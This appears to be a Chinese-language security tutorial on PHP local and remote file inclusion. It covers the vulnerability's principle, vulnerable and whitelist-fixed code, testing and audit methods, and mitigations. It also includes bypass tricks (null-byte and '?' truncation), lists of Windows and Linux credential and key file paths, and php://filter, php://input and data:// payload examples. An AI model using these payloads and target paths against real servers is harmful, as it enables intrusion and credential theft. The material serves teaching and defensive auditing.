一、漏洞原理
1.1 核心
文件包含漏洞是指程序中需要包含其他文件(代码,信息等等),然而包含文件的路径受用户输入控制,攻击者可以使其包含恶意文件,从而造成敏感信息泄露甚至任意代码执行。分为两类:
- 本地文件包含(LFI, Local File Inclusion):攻击者能够让程序包含服务器本地文件(例如配置、日志、源码等)。
- 远程文件包含(RFI, Remote File Inclusion):程序支持包含远程位置的文件(通过 HTTP/FTP 等协议),可理解为可访问互联网上的内容,攻击者可能引入远程代码。
核心风险来自:被包含文件路径用户可控。
1.2 原理详解
文件包含有两个条件:
- 包含/读取 :应用调用语言/框架的读取或包含函数(例如 PHP 的
include/require
、Python 的open
/importlib
、Node 的fs.readFile
/require
等)。 - 路径用户可控 :用户可通过修改url参数等方法控制被包含的文件路径。
达到这两个条件之后,文件包含漏洞就形成了。如果被包含文件不被解析执行,那么会造成敏感信息泄露。如果被包含文件被解析执行了,那么就会造成任意代码执行。
1.3 小例子
不安全示例
php
// vulnerable.php --- 示例
$page = $_GET['page']; // 用户可控输入
include "/var/www/html/pages/" . $page; // 直接拼接包含
那么我通过GET方法访问 https://xxx.com/path/vulnerable.php?page=file_name 就可以访问执行任意文件。当然,前提是你知道对应文件路径(不知道的情况在2.2中说明)。
安全示例
php
// safer.php
$allowed = [
'home' => '/var/www/html/pages/home.php',
'about' => '/var/www/html/pages/about.php',
];
$page = $_GET['page'] ?? 'home';
if (!array_key_exists($page, $allowed)) {
// 返回 404 或默认页
http_response_code(404);
exit('Not found');
}
// 使用白名单映射,避免直接拼接用户输入
include $allowed[$page];
这里使用白名单,避免了文件路径用户完全可控,就不造成文件包含漏洞了。推荐使用白名单而非黑名单。
二、检测与危害
2.1 检测方法
主要介绍人工检测方式而非工具使用。不仅是文件包含漏洞,文件读取漏洞也可以参考以下测试方法。
2.1.1 黑盒测试
-
找到对应接口/功能点
- 浏览应用页面与接口,着重关注那些接受"文件名、路径、模块、模板、页名、lang/theme、download、view"等参数的请求。
- 关注文件上传、文件查看、日志下载、动态模板选择、插件/主题加载、日志查看器等功能面,这类功能常与文件路径相关联。
- 记录每个入口的请求方法(GET/POST/头/表单/JSON)、参数名与参数位置(查询串、路径段、请求体、Headers、Cookies)。
-
构造输入类别并逐类测试
本步骤致力于发现是本地/远程文件包含,是否支持目录穿越,是否支持各种协议。对每一种变体,都要对比并记录:HTTP 状态码、返回体长度、响应头(Content-Type、Server、X-Powered-By 等)、页面内容差异与错误信息(堆栈、路径展示等)。
- 基础路径变体:提交看起来像文件/路径的字符串并观察是否有文件内容回显或与正常页面不同的错误/响应体(比如部分源码、配置项、路径错误信息等)。
- 目录穿越类变体:提交会导致解析为非预期目录的变体(包括编码变体、不同分隔符等),观察是否能访问应用根目录外的资源(用响应差异做推断)。
- 远程/协议类变体:尝试用不同的协议标识(本地 scheme、远程 scheme 等)作为输入,观察应用是否尝试从外部获取资源或返回外部资源的内容(以判断是否允许远程包含)。
- 特殊文件类型变体:提交类似配置、日志或常见资源名的输入(按应用上下文判断),观察是否有信息泄露迹象。
- 协议测试:测试http/https, gopher, file, ftp, php协议等等,表见4.3
-
识别包含 vs 读取的迹象
- 直接内容回显:响应中出现了非预期的文本片段(例如源码片段、配置项、版本信息) → 可能存在文件读取/包含。
- 错误/堆栈信息泄露:响应中包含文件系统路径、函数名或错误堆栈 → 程序在尝试访问文件并抛出异常,可能可被进一步利用或用于确认存在漏洞。
- 行为差异:对同一入口提交不同类别输入导致明显不同的响应(例如不同的 HTTP 头、长短、定制错误页面)→ 表明服务器在对输入进行路径解析或文件操作。
- 外部依赖表现:在尝试"远程"类别时,如果出现网络延迟、外部错误或返回的内容明显来源于外部 → 说明应用可能支持从外部载入资源。
2.1.2 代码审计
-
必要条件审查
- 查找所有与包含/读取相关的 API 调用(例如 PHP 的
include/require/require_once/include_once
,Node 的fs.readFile
/require
,Python 的open/importlib
等)。 - 追踪这些调用处传入的变量来源(是否直接来源用户输入或受外部影响)。
- 检查是否存在缺乏白名单、路径规范化或权限检查的路径拼接。
- 查找所有与包含/读取相关的 API 调用(例如 PHP 的
-
配置审查
- 检查运行时配置,是否允许远程包含(例如老式 PHP
allow_url_include
)或是否将可写目录暴露给 web 进程。 - 审核文件/目录权限,避免 web 进程能够读写敏感路径。
- 检查运行时配置,是否允许远程包含(例如老式 PHP
2.2 利用与危害
- 信息泄露:被包含文件的内容可能包含密钥、配置、数据库凭据或源码注释等敏感信息;
- 代码执行:如果应用将包含当作可执行脚本(例如 PHP include),并且攻击者能控制被包含文件的内容(或者包含远程可执行代码),可能导致远程代码执行(RCE);
- 链式攻击:文件包含常与目录穿越、文件上传、日志注入等漏洞连用,放大影响。尤其是文件上传,可以通过文件上传上传一个图片马并得到对应路径,之后使用文件包含漏洞包含图片马,图片马被解析之后就可以进行远程代码执行。
三、修复与绕过
3.1 修复方式
-
白名单优先
- 最可靠的做法是把可包含的文件限定为一份显式映射(例如键名 -> 绝对路径),不要直接使用用户输入作为路径部分。
-
路径规范化与根目录约束
- 在接受路径前先做规范化(例如解析绝对路径),然后验证该路径确实位于允许的根目录之下。对于存在符号链接的文件系统,考虑解析真实路径(realpath)再验证。
-
禁用远程包含
- 在运行时或应用配置中禁止包含远程 URL(如PHP)。
-
协议控制
- 禁用用不到的协议,比如gopher, php协议等
-
最小权限原则
- Web 进程仅对其运行所需的文件与目录拥有读取/写入权限;配置文件、密钥、私有证书等应尽可能放在 web 用户不可直接访问的目录,并对访问做好权限控制。
3.2 绕过技巧
- 输入混淆:对于黑名单的防御手段。可以尝试通过 URL 编码、双重编码、大小写混淆或使用不同路径分隔符来绕过简单的字符串比较。
- %00截断:对于php搭建的网站且php版本小于5.3,可以尝试%00截断,例如
php
<?php
$file=$_GET['file'];
include($file.".html");
?>
可以使用https://xxx.com/path/vul.php?file=xxx.php 这样后面的.html就会被舍弃了,相当于直接访问xxx.php
- http/https截断:对于http/https协议,可以用?进行截断,例如
php
<?php
$file=$_GET['file'];
include($file.".html");
?>
可以使用https://xxx.com/path/vul.php?file=https://xxx.com/xxx.php? 这样后面的.html就会被舍弃了,相当于直接访问https://xxx.com/xxx.php
四、补充说明
4.1 Windows / Linux 敏感路径
4.1.1 windows
C:\boot.ini // 查看系统启动配置(Windows XP/旧版相关)
C:\Windows\System32\config\SAM // 本地账号数据库(含离线哈希)
C:\Windows\System32\config\security // 本地安全策略、凭据相关
C:\Windows\System32\config\software // 注册表备份(系统/软件配置)
C:\Windows\System32\config\system // 注册表系统分支(系统配置)
C:\Windows\repair\SAM // 系统安装相关的凭据备份(历史/备份)
C:\Windows\repair\System // 系统备份文件
C:\Windows\php.ini // PHP 全局配置(若在 Windows 上安装 PHP)
C:\inetpub\wwwroot\web.config // IIS 网站配置(站点设置、连接字符串等)
C:\windows\system32\inetsrv\MetaBase.xml // IIS(旧版)配置存储
C:\Program Files\MySQL\MySQL Server X.Y\my.ini // MySQL 配置(Windows 默认安装路径示例)
C:\Program Files\MySQL\MySQL Server X.Y\data\mysql\user.MYD // MySQL 用户表文件(可能含密码相关信息,视引擎而定)
C:\Users\<用户名>\.ssh\id_rsa // 用户 SSH 私钥(若存在)
C:\Users\<用户名>\.aws\credentials // AWS CLI 本地凭证(若配置)
C:\Users\<用户名>\AppData\Roaming\ // 应用配置/凭证(例如浏览器/客户端本地存储)
C:\ProgramData\Docker\config\daemon.json // Docker 配置(含可能敏感配置)
C:\ProgramData\Jenkins\.ssh\ // CI/工具相关凭证目录(视安装而定)
C:\inetpub\wwwroot\.env // 应用环境文件(若被放置于 webroot,含密钥/凭据)
C:\inetpub\wwwroot\.git\ // 源码仓库裸露(会泄露历史与配置)
4.1.2 Linux
/etc/passwd // 用户账户列表(不含哈希)
/etc/shadow // 密码哈希(非常敏感)
/etc/sudoers // sudo 权限配置
/etc/ssh/sshd_config // SSH 服务配置(访问控制相关)
/root/.ssh/id_rsa // root SSH 私钥(极敏感)
/home/<user>/.ssh/id_rsa // 用户 SSH 私钥
/etc/ssh/ssh_config // SSH 客户端/服务配置
/etc/ssh/authorized_keys // 授权密钥列表(可直接登录的公钥)
/etc/ssl/private/ // TLS/SSL 私钥存放目录(视发行版)
/etc/ssl/certs/ // 证书目录
/etc/nginx/nginx.conf // Nginx 主配置
/etc/nginx/sites-enabled/ // Nginx 虚拟主机配置(站点明细)
/etc/httpd/conf/httpd.conf // Apache 主配置(RHEL/CentOS 路径)
/etc/apache2/apache2.conf // Apache 主配置(Debian/Ubuntu 路径)
/etc/apache2/sites-enabled/ // Apache 虚拟主机配置
/etc/php.ini // PHP 全局配置
/var/www/html/ // 默认 webroot(可能包含源码、配置或上传文件)
/srv/www/ // 其它常见 web 根目录
/var/log/ // 系统与服务日志(auth.log、syslog、messages 等)
/var/log/nginx/ // Nginx 访问/错误日志(可能含敏感请求)
/var/log/apache2/ // Apache 日志目录
/var/log/auth.log // 认证相关日志(可能含尝试/错误信息)
/var/lib/mysql/ // MySQL 数据文件目录(含 .ibd/.MYD/.MYI 等)
/etc/mysql/my.cnf // MySQL 配置(或 /etc/my.cnf,视发行版)
/var/lib/postgresql/ // PostgreSQL 数据目录
/var/www/.env // 应用环境变量文件(若放在 webroot,含 DB/API 密钥)
/tmp/ // 临时目录(可利用作写入-包含链)
/var/tmp/ // 临时目录(可能长期存在的临时文件)
/root/.bash_history // root 命令历史(可能含密码/敏感命令)
/home/*/.bash_history // 用户命令历史(可能含敏感信息)
/etc/letsencrypt/live/<domain>/privkey.pem // Let's Encrypt 私钥(如果存在)
/etc/kubernetes/admin.conf // kubeconfig 管理凭证(Kubernetes 环境)
/var/lib/docker/volumes/ // Docker 卷(可能包含持久化数据)
/var/run/docker.sock // Docker socket(对容器管理极敏感)
/etc/systemd/system/ // 自定义 systemd 服务(含运行命令/参数)
/opt/<app>/config/ // 第三方/自定义应用配置目录(视部署而定)
/backup/ or /var/backups/ // 备份存放位置(备份含历史配置/数据)
4.2 PHP协议用法
协议 | 测试PHP版本 | allow_url_fopen | allow_url_include | 用法 |
---|---|---|---|---|
file:// | >=5.2 | off/on | off/on | ?file=file://D:/soft/phpStudy/WWW/64/phpcode.txt |
php://filter | >=5.2 | off/on | off/on | ?file=php://filter/read=convert.base64-encode/resource=/index.php |
php://input | >=5.2 | off/on | on | ?file=php://input 【POST DATA <php phpinfo();?>】 |
zip:// | >=5.2 | off/on | off/on | ?file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txt |
compress.bzip2:// | >=5.2 | off/on | off/on | ?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2 【or】 ?file=compress.bzip2://file.bz2 |
compress.zlib:// | >=5.2 | off/on | off/on | ?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz 【or】 ?file=compress.zlib://file.gz |
data:// | >=5.2 | on | on | ?file=data://text/plain,<php phpinfo();?> 【or】 ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 也可以: ?file=data:text/plain,<php phpinfo();?> 【or】 ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= |
4.3 各协议介绍表
协议 / Wrapper | 描述(用途) | 常见于 LFI / RFI | 潜在影响(安全角度) | 备注 / 防御要点 |
---|---|---|---|---|
file:// | 直接指定本地文件系统路径的 scheme。 | LFI 主体(读取本地文件) | 信息泄露(本地敏感文件可被读取) | 验证路径、使用白名单、限制根目录;注意符号链接。 |
http:// / https:// | 通过 HTTP(S) 从远程服务器获取资源。 | RFI(远程包含) | 可导致远程代码注入/执行(若服务端执行包含内容)或泄露远程文件内容 | 禁用远程包含(如 PHP 的 allow_url_include),限制出站访问,使用网络隔离。 |
ftp:// / ftps:// | 通过 FTP(S) 协议获取远程文件。 | RFI(远程包含) | 与 HTTP 类似,可能引入远程代码或泄露 | 禁用或限制外部协议访问;关闭未使用的传输扩展。 |
gopher:// | 古老协议,可发送任意字节流(历史上用于绕过某些过滤器以触发远程命令/行为)。 | RFI(历史上常被滥用作探测/链式利用) | 可用于触发特殊网络行为或与服务交互,提升利用场景复杂性 | 防御时应阻断对非必要协议的访问;在网络层过滤出站协议。 |
data: | 数据 URI,用于内联小型数据(Base64/URL 编码)。 | RFI/LFI 视实现而定 | 可内联代码或内容,若被包含并解释可能导致执行或注入 | 阻断 data 协议解析,或者在文件包含逻辑中明确拒绝含有 : 的输入。 |
php://(PHP 专用 wrapper) | PHP 内置多种 stream wrapper(php://filter、php://input、php://memory 等)。 | LFI 相关(特别是 php://filter 用于读取源码/绕过保护) | 可导致源码泄露、从输入流读取内容或间接读出敏感信息 | 在 PHP 中禁用远程包含;对包含字符串做严格白名单;审查是否需要 php://* 功能。 |
php://filter | 可对流应用过滤器(例如 base64 编码输出),历史上用于将 PHP 源码编码后泄露。 | LFI(源码泄露场景) | 源码泄露、敏感信息暴露 | 防护同上;限制可包含的文件类型与路径。 |
php://input | 访问原始 POST 数据流(可用于某些上下文读取请求体)。 | LFI 辅助 | 可在特定条件下配合其他漏洞造成影响 | 在包含逻辑中拒绝非文件路径的 wrapper。 |
phar:// | PHP 的打包/归档访问 wrapper,可访问 phar 包内文件。 | LFI(若应用解析 phar metadata) | 在特定条件下可触发对象反序列化或其它意外行为 | 更新 PHP 版本;限制可读目录并检查上传内容。 |
zip:// / compress.zlib:// 等归档/压缩 wrapper | 用于访问压缩包内文件或压缩流。 | LFI(在支持的环境下) | 可引导读取压缩包内敏感文件 | 防止未授权上传或包含压缩内容;验证文件来源。 |
expect://(PHP) | 可执行外部命令并把结果作为流返回(需 expect 扩展)。 | RFI/LFI(极危险) | 可导致命令执行(RCE) | 禁用相关扩展;彻底拒绝可执行类 wrapper。 |
smb:// / smbs:// / sftp:// / ssh2.sftp:// | 通过网络文件共享(SMB、SFTP 等)访问远程文件。 | RFI(远程包含) | 远程代码/内容引入或敏感文件读取 | 网络层限制对内部/外部文件共享的访问;最小化跨网段访问权限。 |
data:(重复说明) | (见上) | --- | --- | --- |
其它自定义或扩展 wrapper | 例如语言/平台或扩展新增的 stream wrapper | 视情况而定 | 取决于 wrapper 的行为(可读取、执行、反序列化等) | 在依赖库/扩展中审查可用 wrapper 列表并禁用不必要的扩展。 |
感谢阅读,有问题欢迎评论。